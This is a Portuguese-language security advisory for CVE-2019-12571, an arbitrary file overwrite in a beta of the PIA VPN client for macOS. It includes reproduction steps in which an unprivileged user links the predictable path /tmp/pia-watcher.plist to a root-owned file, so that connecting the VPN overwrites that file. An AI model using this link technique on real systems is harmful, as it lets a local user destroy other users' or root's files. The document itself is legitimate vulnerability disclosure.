For the English version of this alert, click here.
Allele Security Alert
ASA-2019-00378
Identificador(es)
ASA-2019-00378, CVE-2019-12571
Título
Sobrescrita de arquivo arbitrário
Fabricante(s)
London Trust Media, Inc
Produto(s)
Private Internet Access (PIA) VPN Client para macOS
Versão(ões) afetada(s)
Private Internet Access (PIA) VPN Client para macOS versão v0.9.8 beta (build 02099)
Versão(ões) corrigida(s)
Private Internet Access (PIA) VPN Client para macOS versão v1.2.1
Prova de conceito
Sim
Descrição
Uma vulnerabilidade no Private Internet Access (PIA) VPN Client versão v0.9.8 beta (build 02099) para macOS poderia permitir que um atacante local autenticado sobrescrevesse arquivos arbitrários.
Detalhes técnicos
Quando o cliente inicia uma conexão, o arquivo XML /tmp/pia-watcher.plist é criado. Se o arquivo existir, ele será truncado e o conteúdo completamente sobrescrito. Este arquivo é removido na desconexão. Um usuário sem privilégios pode criar um hard ou soft link para arquivos arbitrários pertencentes a qualquer usuário no sistema, incluindo o root. Isso cria uma condição de negação de serviço e possível perda de dados se aproveitada por um usuário local mal-intencionado.
Passos para reproduzir
Todas as etapas são executadas como um usuário com poucos privilégios.
macbook:~ test2$ id uid=508(test2) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),704(com.apple.sharepoint.group.4),100(_lpoperator),701(com.apple.sharepoint.group.1),333(piavpn),703(com.apple.sharepoint.group.3),702(com.apple.sharepoint.group.2)
Etapa 1 – Crie um arquivo de teste de propriedade root com permissões 600.
bash-3.2# echo "this is a test" > /etc/test.file bash-3.2# chmod 600 /etc/test.file bash-3.2# ls -ld /etc/test.file -rw------- 1 root wheel 15 Dec 27 10:14 /etc/test.file
Etapa 2 – Mostre que o test2 não tem permissão para gravar em /etc/test.file.
macbook:~ test2$ echo test > /etc/test.file -bash: /etc/test.file: Permission denied
Etapa 3 – Crie um hard ou soft link para um arquivo de propriedade de root.
macbook:~ test2$ ln /etc/test.file /tmp/pia-watcher.plist macbook:~ test2$ ls -li /etc/test.file /tmp/pia-watcher.plist 12888119231 -rw------- 2 root wheel 15 Dec 27 10:14 /etc/test.file 12888119231 -rw------- 2 root wheel 15 Dec 27 10:14 /tmp/pia-watcher.plist
Passo 4 – Abra o cliente PIA e conecte-se. O arquivo será sobrescrito com o XML plist.
macbook:~ test2$ ls -li /etc/test.file /tmp/pia-watcher.plist ls: /tmp/pia-watcher.plist: No such file or directory 12888119231 -rw------- 1 root wheel 801 Dec 27 10:17 /etc/test.file
Passo 5 – Como root exibir o conteúdo de /etc/secret.file
bash-3.2# cat /etc/test.file <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.privateinternetaccess.vpn.watcher</string> <key>ProgramArguments</key> <array> <string>/Applications/Private Internet Access.app/Contents/MacOS/pia-openvpn-helper</string> </array> <key>EnvironmentVariables</key> <dict> <key>script_type</key> <string>watch-notify</string> </dict> <key>StandardErrorPath</key> <string>/Library/Application Support/com.privateinternetaccess.vpn/watcher.log</string> <key>WatchPaths</key> <array> <string>/Library/Preferences/SystemConfiguration</string> </array> </dict> </plist>
Créditos
Rich Mirch
Referência(s)
PIA Beta macOS Arbitrary File Overwrite
https://github.com/mirchr/security-research/blob/master/vulnerabilities/PIA/CVE-2019-12571.txt
CVE-2019-12571
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12571
CVE-2019-12571
https://nvd.nist.gov/vuln/detail/CVE-2019-12571
Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.
Última modificação: 5 agosto 2019